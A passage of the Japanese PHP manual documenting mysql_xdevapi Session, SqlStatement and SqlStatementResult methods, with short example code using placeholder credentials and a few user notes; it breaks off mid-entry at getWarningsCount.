パラメータ

schema_name

作成するスキーマの名前

返り値

成功した場合はスキーマオブジェクトを返します。 失敗した場合は例外がスローされます。

例

例1 mysql_xdevapi\Session::createSchema() の例

<?php
$uri  = 'mysqlx://happyuser:password@127.0.0.1:33060/';
$sess = mysql_xdevapi\getSession($uri);

try {

    if ($schema = $sess->createSchema('fruit')) {
        echo "Info: I created a schema named 'fruit'\n";
    }

} catch (Exception $e) {

   echo $e->getMessage();

}
?>

上の例の出力は、 たとえば以下のようになります。

Info: I created a schema named 'fruit'

User Contributed Notes

There are no user contributed notes for this page.


スキーマを削除します

  • ≪ Session::createSchema
  • Session::generateUUID ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • スキーマを削除します

Session::dropSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::dropSchema — スキーマを削除します

説明

public mysql_xdevapi\Session::dropSchema ( string $schema_name ) : bool

スキーマ(データベース)を削除します。

パラメータ

schema_name

削除するスキーマ

返り値

スキーマが削除されたら true を返します。 スキーマが存在しないか、削除できない場合は false を返します。

An E_WARNING level error is generated if the schema does not exist.

例

例1 mysql_xdevapi\Session::dropSchema() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->dropSchema("addressbook");

$session->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


新しいUUIDを取得する

  • ≪ Session::dropSchema
  • Session::getDefaultSchema ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • 新しいUUIDを取得する

Session::generateUUID

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::generateUUID — 新しいUUIDを取得する

説明

public mysql_xdevapi\Session::generateUUID ( ) : string

» RFC 4122 に従って UUID を生成します。

パラメータ

この関数にはパラメータはありません。

返り値

UUID を返します。長さが32の文字列です。

例

例1 mysql_xdevapi\Session::generateUuid() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$uuid = $session->generateUuid();

var_dump($uuid);

上の例の出力は、 たとえば以下のようになります。

string(32) "484B18AC7980F8D4FE84613CDA5EE84B"

User Contributed Notes

There are no user contributed notes for this page.


デフォルトのスキーマ名を取得する

  • ≪ Session::generateUUID
  • Session::getSchema ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • デフォルトのスキーマ名を取得する

Session::getDefaultSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::getDefaultSchema — デフォルトのスキーマ名を取得する

説明

public mysql_xdevapi\Session::getDefaultSchema ( ) : string

通常接続URIに設定される、デフォルトのスキーマ名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

接続に定義されているデフォルトのスキーマ名を返します。 設定されていない場合は、null を返します。

例

例1 mysql_xdevapi\Session::getSchema() の例

<?php
$uri = "mysqlx://testuser:testpasswd@localhost:33160/testx?ssl-mode=disabled";
$session = mysql_xdevapi\getSession($uri);

$schema = $session->getDefaultSchema();
echo $schema;
?>

上の例の出力は以下となります。

testx

User Contributed Notes

shaun at shaunfreeman dot co dot uk 25-Sep-2019 08:30
This method actually returns a Schema object that was named in the connection string or NULL
<?php
$session = mysql_xdevapi\getSession('mysqlzx://dbuser:654321@mysql:33060/dbname');

/** @var Schema $defaultSchema */
$defaultSchema = $session->getDefaultSchema();

print "<pre>";
print_r($defaultSchema);
?>

will output:
mysql_xdevapi\Schema Object
(
[name] => dbname
)


新しいスキーマオブジェクトを取得する

  • ≪ Session::getDefaultSchema
  • Session::getSchemas ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • 新しいスキーマオブジェクトを取得する

Session::getSchema

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::getSchema — 新しいスキーマオブジェクトを取得する

説明

public mysql_xdevapi\Session::getSchema ( string $schema_name ) : mysql_xdevapi\Schema

与えられたスキーマ名に対応する新しいスキーマオブジェクトを返します。

パラメータ

schema_name

スキーマオブジェクトを取得するためのスキーマ(データベース) の名前

返り値

Schema オブジェクトを返します。

例

例1 mysql_xdevapi\Session::getSchema() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schema  = $session->getSchema("addressbook");

print_r($schema);

上の例の出力は、 たとえば以下のようになります。

mysql_xdevapi\Schema Object
(
    [name] => addressbook
)

User Contributed Notes

jcastro at eftec dot cl 09-Aug-2018 01:59
The syntaxis is

$schema = $session->getSchema( "storedb" ); // it returns a Schema object

Where $session is a Session object and storedb is the name of the schema.


スキーマを取得する

  • ≪ Session::getSchema
  • Session::getServerVersion ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • スキーマを取得する

Session::getSchemas

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::getSchemas — スキーマを取得する

説明

public mysql_xdevapi\Session::getSchemas ( ) : array

セッションで利用可能な全てのスキーマを、スキーマオブジェクトとして取得します。

パラメータ

この関数にはパラメータはありません。

返り値

セッションで利用可能な全てのスキーマを表現するオブジェクトを含んだ配列を返します。

例

例1 mysql_xdevapi\Session::getSchemas() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schemas  = $session->getSchemas();

print_r($schemas);

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => mysql_xdevapi\Schema Object
        (
            [name] => addressbook
        )
    [1] => mysql_xdevapi\Schema Object
        (
            [name] => information_schema
        )
    ...

User Contributed Notes

There are no user contributed notes for this page.


サーバのバージョンを取得する

  • ≪ Session::getSchemas
  • Session::listClients ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • サーバのバージョンを取得する

Session::getServerVersion

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::getServerVersion — サーバのバージョンを取得する

説明

public mysql_xdevapi\Session::getServerVersion ( ) : int

このセッションにおける MySQL サーバのバージョンを取得する

パラメータ

この関数にはパラメータはありません。

返り値

このセッションにおける MySQL サーバのバージョンを数値として返します。 たとえば "80012" のような値になります。

例

例1 mysql_xdevapi\Session::getServerVersion() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$version = $session->getServerVersion();

var_dump($version);

上の例の出力は、 たとえば以下のようになります。

int(80012)

User Contributed Notes

There are no user contributed notes for this page.


クライアントの一覧を取得する

  • ≪ Session::getServerVersion
  • Session::quoteName ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • クライアントの一覧を取得する

Session::listClients

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::listClients — クライアントの一覧を取得する

説明

public mysql_xdevapi\Session::listClients ( ) : array

MySQL サーバのセッションに紐付いたクライアント接続の一覧を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在接続しているクライアントを含んだ配列を返します。 配列の要素には、"client_id", "user", "host", および "sql_session" が含まれています。

例

例1 mysql_xdevapi\Session::listClients() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$ids = $session->listClients();

var_dump($ids);
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(4) {
    ["client_id"]=>
    int(61)
    ["user"]=>
    string(4) "root"
    ["host"]=>
    string(9) "localhost"
    ["sql_session"]=>
    int(72)
  }
}

User Contributed Notes

shaun at shaunfreeman dot co dot uk 30-Sep-2019 06:56
As of Version 8.0.17 the Session::listClients() method has not been implemented yet.


クォートを追加する

  • ≪ Session::listClients
  • Session::releaseSavepoint ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • クォートを追加する

Session::quoteName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::quoteName — クォートを追加する

説明

public mysql_xdevapi\Session::quoteName ( string $name ) : string

SQL の名前や識別子をエスケープするためのクォート関数です。 現在の接続の設定に従って、与えられた識別子をエスケープします。 このエスケープ関数は、値のエスケープに使うべきではありません。

パラメータ

name

クォートする文字列

返り値

クォートされた文字列を返します。

例

例1 mysql_xdevapi\Session::quoteName() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$first = "MySQL's test";
var_dump($first);
var_dump($session->quoteName($first));

$second = 'Another `test` "like" `this`';
var_dump($second);
var_dump($session->quoteName($second));
?>

上の例の出力は、 たとえば以下のようになります。

string(12) "MySQL's test"
string(14) "`MySQL's test`"

string(28) "Another `test` "like" `this`"
string(34) "`Another ``test`` "like" ``this```"

User Contributed Notes

There are no user contributed notes for this page.


設定されたセーブポイントをリリースする

  • ≪ Session::quoteName
  • Session::rollback ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • 設定されたセーブポイントをリリースする

Session::releaseSavepoint

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::releaseSavepoint — 設定されたセーブポイントをリリースする

説明

public mysql_xdevapi\Session::releaseSavepoint ( string $name ) : void

以前設定したセーブポイントをリリースします。

パラメータ

name

リリースするセーブポイントの名前

返り値

SqlStatementResult オブジェクトを返します。

例

例1 mysql_xdevapi\Session::releaseSavepoint() の例

<?php
$session    = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをロールバックする

  • ≪ Session::releaseSavepoint
  • Session::rollbackTo ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • トランザクションをロールバックする

Session::rollback

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::rollback — トランザクションをロールバックする

説明

public mysql_xdevapi\Session::rollback ( ) : void

トランザクションをロールバックします。

パラメータ

この関数にはパラメータはありません。

返り値

SqlStatementResult オブジェクトを返します。

例

例1 mysql_xdevapi\Session::rollback() の例

<?php
$session    = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


セーブポイントまでトランザクションをロールバックする

  • ≪ Session::rollback
  • Session::setSavepoint ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • セーブポイントまでトランザクションをロールバックする

Session::rollbackTo

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::rollbackTo — セーブポイントまでトランザクションをロールバックする

説明

public mysql_xdevapi\Session::rollbackTo ( string $name ) : void

セーブポイントまでトランザクションをロールバックします。

パラメータ

name

ロールバックされる時点を示すセーブポイントの名前。大文字小文字は区別されません。

返り値

SqlStatementResult オブジェクトを返します。

例

例1 mysql_xdevapi\Session::rollbackTo() の例

<?php
$session    = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint1 = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$savepoint2 = $session->setSavepoint();

$session->rollbackTo($savepoint1);
?>

User Contributed Notes

There are no user contributed notes for this page.


セーブポイントを作成する

  • ≪ Session::rollbackTo
  • Session::sql ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • セーブポイントを作成する

Session::setSavepoint

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::setSavepoint — セーブポイントを作成する

説明

public mysql_xdevapi\Session::setSavepoint ( string $name = ? ) : string

トランザクションのための新しいセーブポイントを作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

セーブポイントの名前。 オプションの name パラメータが定義されない場合は、 自動的に作成されます。'SAVEPOINT1', 'SAVEPOINT2' のようなものです。

返り値

セーブポイントの名前を返します。

例

例1 mysql_xdevapi\Session::setSavepoint() の例

<?php
$session    = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


SQLクエリを実行する

  • ≪ Session::setSavepoint
  • Session::startTransaction ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • SQLクエリを実行する

Session::sql

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::sql — SQLクエリを実行する

説明

public mysql_xdevapi\Session::sql ( string $query ) : mysql_xdevapi\SqlStatement

ネイティブなSQLステートメントを作成します。 プレースホルダーはネイティブな "?" を使ってサポートされます。 SQLステートメントを実行するには、execute メソッドを使ってください。

パラメータ

query

実行するSQLステートメント

返り値

SqlStatement オブジェクトを返します。

例

例1 mysql_xdevapi\Session::sql() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE addressbook")->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


トランザクションを開始する

  • ≪ Session::sql
  • mysql_xdevapi\SqlStatement ≫
  • PHP Manual
  • mysql_xdevapi\Session
  • トランザクションを開始する

Session::startTransaction

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Session::startTransaction — トランザクションを開始する

説明

public mysql_xdevapi\Session::startTransaction ( ) : void

新しいトランザクションを開始します。

パラメータ

この関数にはパラメータはありません。

返り値

SqlStatementResult オブジェクトを返します。

例

例1 mysql_xdevapi\Session::startTransaction() の例

<?php
$session    = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


SqlStatement クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\SqlStatement {
/* Constants */
const int EXECUTE_ASYNC = 1 ;
const int BUFFERED = 2 ;
/* プロパティ */
public $statement ;
/* メソッド */
public bind ( string $param ) : mysql_xdevapi\SqlStatement
public execute ( ) : mysql_xdevapi\Result
public getNextResult ( ) : mysql_xdevapi\Result
public getResult ( ) : mysql_xdevapi\Result
public hasMoreResults ( ) : bool
}

プロパティ

statement

定義済み定数

mysql_xdevapi\SqlStatement::EXECUTE_ASYNC

mysql_xdevapi\SqlStatement::BUFFERED

目次

  • SqlStatement::bind — ステートメントのパラメータをバインドする
  • SqlStatement::__construct — SqlStatement のコンストラクタ
  • SqlStatement::execute — 操作を実行する
  • SqlStatement::getNextResult — 次の結果を取得する
  • SqlStatement::getResult — 結果を取得する
  • SqlStatement::hasMoreResults — さらに結果があるかを調べる

User Contributed Notes

There are no user contributed notes for this page.


ステートメントのパラメータをバインドする

  • ≪ mysql_xdevapi\SqlStatement
  • SqlStatement::__construct ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • ステートメントのパラメータをバインドする

SqlStatement::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatement::bind — ステートメントのパラメータをバインドする

説明

public mysql_xdevapi\SqlStatement::bind ( string $param ) : mysql_xdevapi\SqlStatement

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

param

返り値

例

例1 mysql_xdevapi\SqlStatement::bind() の例

<?php

/* ... */

?>

User Contributed Notes

me25show at gmail dot com 21-Feb-2019 08:41
bind using example:
<?php
try {
    $session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
    die("Connection could not be established: " . $e->getMessage());
}
$stmt = $session->sql("SELECT * FROM table WHERE id=? AND data=?");
$stmt->bind(1);
$stmt->bind("data");
$result = $stmt->execute();

?>


SqlStatement のコンストラクタ

  • ≪ SqlStatement::bind
  • SqlStatement::execute ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • SqlStatement のコンストラクタ

SqlStatement::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatement::__construct — SqlStatement のコンストラクタ

説明

private mysql_xdevapi\SqlStatement::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\SqlStatement::__construct() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


操作を実行する

  • ≪ SqlStatement::__construct
  • SqlStatement::getNextResult ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • 操作を実行する

SqlStatement::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatement::execute — 操作を実行する

説明

public mysql_xdevapi\SqlStatement::execute ( ) : mysql_xdevapi\Result

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\SqlStatement::execute() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


次の結果を取得する

  • ≪ SqlStatement::execute
  • SqlStatement::getResult ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • 次の結果を取得する

SqlStatement::getNextResult

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatement::getNextResult — 次の結果を取得する

説明

public mysql_xdevapi\SqlStatement::getNextResult ( ) : mysql_xdevapi\Result

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\SqlStatement::getNextResult() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


結果を取得する

  • ≪ SqlStatement::getNextResult
  • SqlStatement::hasMoreResults ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • 結果を取得する

SqlStatement::getResult

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatement::getResult — 結果を取得する

説明

public mysql_xdevapi\SqlStatement::getResult ( ) : mysql_xdevapi\Result

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\SqlStatement::getResult() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


さらに結果があるかを調べる

  • ≪ SqlStatement::getResult
  • mysql_xdevapi\SqlStatementResult ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • さらに結果があるかを調べる

SqlStatement::hasMoreResults

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatement::hasMoreResults — さらに結果があるかを調べる

説明

public mysql_xdevapi\SqlStatement::hasMoreResults ( ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

結果セットがさらにフェッチするオブジェクトを持っていれば true を返します

例

例1 mysql_xdevapi\SqlStatement::hasMoreResults() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


SqlStatementResult クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\SqlStatementResult implements mysql_xdevapi\BaseResult , Traversable {
/* メソッド */
public fetchAll ( ) : array
public fetchOne ( ) : array
public getAffectedItemsCount ( ) : int
public getColumnsCount ( ) : int
public getColumnNames ( ) : array
public getColumns ( ) : Array
public getGeneratedIds ( ) : array
public getLastInsertId ( ) : String
public getWarnings ( ) : array
public getWarningCounts ( ) : int
public hasData ( ) : bool
public nextResult ( ) : mysql_xdevapi\Result
}

目次

  • SqlStatementResult::__construct — SqlStatementResult のコンストラクタ
  • SqlStatementResult::fetchAll — 結果セットから全行取得する
  • SqlStatementResult::fetchOne — 単一の行を取得する
  • SqlStatementResult::getAffectedItemsCount — 影響を受けた行数を取得する
  • SqlStatementResult::getColumnsCount — カラムの数を取得する
  • SqlStatementResult::getColumnNames — カラム名を取得する
  • SqlStatementResult::getColumns — カラムを取得する
  • SqlStatementResult::getGeneratedIds — 生成された id を取得する
  • SqlStatementResult::getLastInsertId — 最後に挿入されたidを取得する
  • SqlStatementResult::getWarnings — 直近の操作から発生した警告を取得する
  • SqlStatementResult::getWarningsCount — 直近の操作で発生した警告の数を取得する
  • SqlStatementResult::hasData — 結果がデータを持っているかを調べる
  • SqlStatementResult::nextResult — 次の結果を取得する

User Contributed Notes

There are no user contributed notes for this page.


SqlStatementResult のコンストラクタ

  • ≪ mysql_xdevapi\SqlStatementResult
  • SqlStatementResult::fetchAll ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • SqlStatementResult のコンストラクタ

SqlStatementResult::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::__construct — SqlStatementResult のコンストラクタ

説明

private mysql_xdevapi\SqlStatementResult::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\SqlStatementResult::__construct() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


結果セットから全行取得する

  • ≪ SqlStatementResult::__construct
  • SqlStatementResult::fetchOne ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 結果セットから全行取得する

SqlStatementResult::fetchAll

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::fetchAll — 結果セットから全行取得する

説明

public mysql_xdevapi\SqlStatementResult::fetchAll ( ) : array

結果セットから全ての行を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

クエリから取得した全ての行を数値インデックスの配列として返します。 個々の要素は連想配列です。行が存在しない場合は空の配列を返します。

例

例1 mysql_xdevapi\SqlStatementResult::fetchAll() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS dbtest")->execute();
$session->sql("CREATE DATABASE dbtest")->execute();
$session->sql("CREATE TABLE dbtest.workers(name text, age int, job text)")->execute();
$session->sql("INSERT INTO dbtest.workers values ('John', 42, 'bricklayer'), ('Sam', 33, 'carpenter')")->execute();

$schema = $session->getSchema("dbtest");
$table  = $schema->getTable("workers");

$rows = $session->sql("SELECT * FROM dbtest.workers")->execute()->fetchAll();

print_r($rows);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


単一の行を取得する

  • ≪ SqlStatementResult::fetchAll
  • SqlStatementResult::getAffectedItemsCount ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 単一の行を取得する

SqlStatementResult::fetchOne

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::fetchOne — 単一の行を取得する

説明

public mysql_xdevapi\SqlStatementResult::fetchOne ( ) : array

結果セットから一行取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

結果を連想配列で返します。 結果がなかった場合は、null が返されます。

例

例1 mysql_xdevapi\SqlStatementResult::fetchOne() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS dbtest")->execute();
$session->sql("CREATE DATABASE dbtest")->execute();
$session->sql("CREATE TABLE dbtest.workers(name text, age int, job text)")->execute();
$session->sql("INSERT INTO dbtest.workers values ('John', 42, 'bricklayer'), ('Sam', 33, 'carpenter')")->execute();

$schema = $session->getSchema("dbtest");
$table  = $schema->getTable("workers");

$rows = $session->sql("SELECT * FROM dbtest.workers")->execute()->fetchOne();

print_r($rows);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name] => John
    [age] => 42
    [job] => bricklayer
)

User Contributed Notes

There are no user contributed notes for this page.


影響を受けた行数を取得する

  • ≪ SqlStatementResult::fetchOne
  • SqlStatementResult::getColumnsCount ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 影響を受けた行数を取得する

SqlStatementResult::getAffectedItemsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getAffectedItemsCount — 影響を受けた行数を取得する

説明

public mysql_xdevapi\SqlStatementResult::getAffectedItemsCount ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\SqlStatementResult::getAffectedItemsCount() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラムの数を取得する

  • ≪ SqlStatementResult::getAffectedItemsCount
  • SqlStatementResult::getColumnNames ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • カラムの数を取得する

SqlStatementResult::getColumnsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getColumnsCount — カラムの数を取得する

説明

public mysql_xdevapi\SqlStatementResult::getColumnsCount ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

カラムの数を返します。存在しない場合は、0を返します。

変更履歴

バージョン | 説明
8.0.14 | メソッド名が、getColumnCount() から getColumnsCount() に変わりました。

例

例1 mysql_xdevapi\SqlStatementResult::getColumnsCount() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラム名を取得する

  • ≪ SqlStatementResult::getColumnsCount
  • SqlStatementResult::getColumns ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • カラム名を取得する

SqlStatementResult::getColumnNames

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getColumnNames — カラム名を取得する

説明

public mysql_xdevapi\SqlStatementResult::getColumnNames ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\SqlStatementResult::getColumnNames() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラムを取得する

  • ≪ SqlStatementResult::getColumnNames
  • SqlStatementResult::getGeneratedIds ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • カラムを取得する

SqlStatementResult::getColumns

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getColumns — カラムを取得する

説明

public mysql_xdevapi\SqlStatementResult::getColumns ( ) : Array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\SqlStatementResult::getColumns() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


生成された id を取得する

  • ≪ SqlStatementResult::getColumns
  • SqlStatementResult::getLastInsertId ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 生成された id を取得する

SqlStatementResult::getGeneratedIds

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getGeneratedIds — 生成された id を取得する

説明

public mysql_xdevapi\SqlStatementResult::getGeneratedIds ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作で生成された _id の配列を返します。 生成された _id がなければ、空の配列を返します。

例

例1 mysql_xdevapi\SqlStatementResult::getGeneratedIds() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


最後に挿入されたidを取得する

  • ≪ SqlStatementResult::getGeneratedIds
  • SqlStatementResult::getWarnings ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 最後に挿入されたidを取得する

SqlStatementResult::getLastInsertId

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getLastInsertId — 最後に挿入されたidを取得する

説明

public mysql_xdevapi\SqlStatementResult::getLastInsertId ( ) : String

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

最後に挿入された操作のIDを返します。

例

例1 mysql_xdevapi\SqlStatementResult::getLastInsertId() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


直近の操作から発生した警告を取得する

  • ≪ SqlStatementResult::getLastInsertId
  • SqlStatementResult::getWarningsCount ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 直近の操作から発生した警告を取得する

SqlStatementResult::getWarnings

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getWarnings — 直近の操作から発生した警告を取得する

説明

public mysql_xdevapi\SqlStatementResult::getWarnings ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

直近の操作によって発生した警告の数を返します。 個々のオブジェクトは、エラーの 'message', 'level' そして 'code' を定義しています。 エラーが発生しなかった場合は空の配列が返されます。

例

例1 mysql_xdevapi\SqlStatementResult::getWarnings() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


直近の操作で発生した警告の数を取得する

  • ≪ SqlStatementResult::getWarnings
  • SqlStatementResult::hasData ≫
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • 直近の操作で発生した警告の数を取得する

SqlStatementResult::getWarningsCount

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

SqlStatementResult::getWarningsCount — 直近の操作で発生した警告の数を取得する

説明

public mysql_xdevapi\SqlStatementResult::getWarningCounts ( ) : int

警告

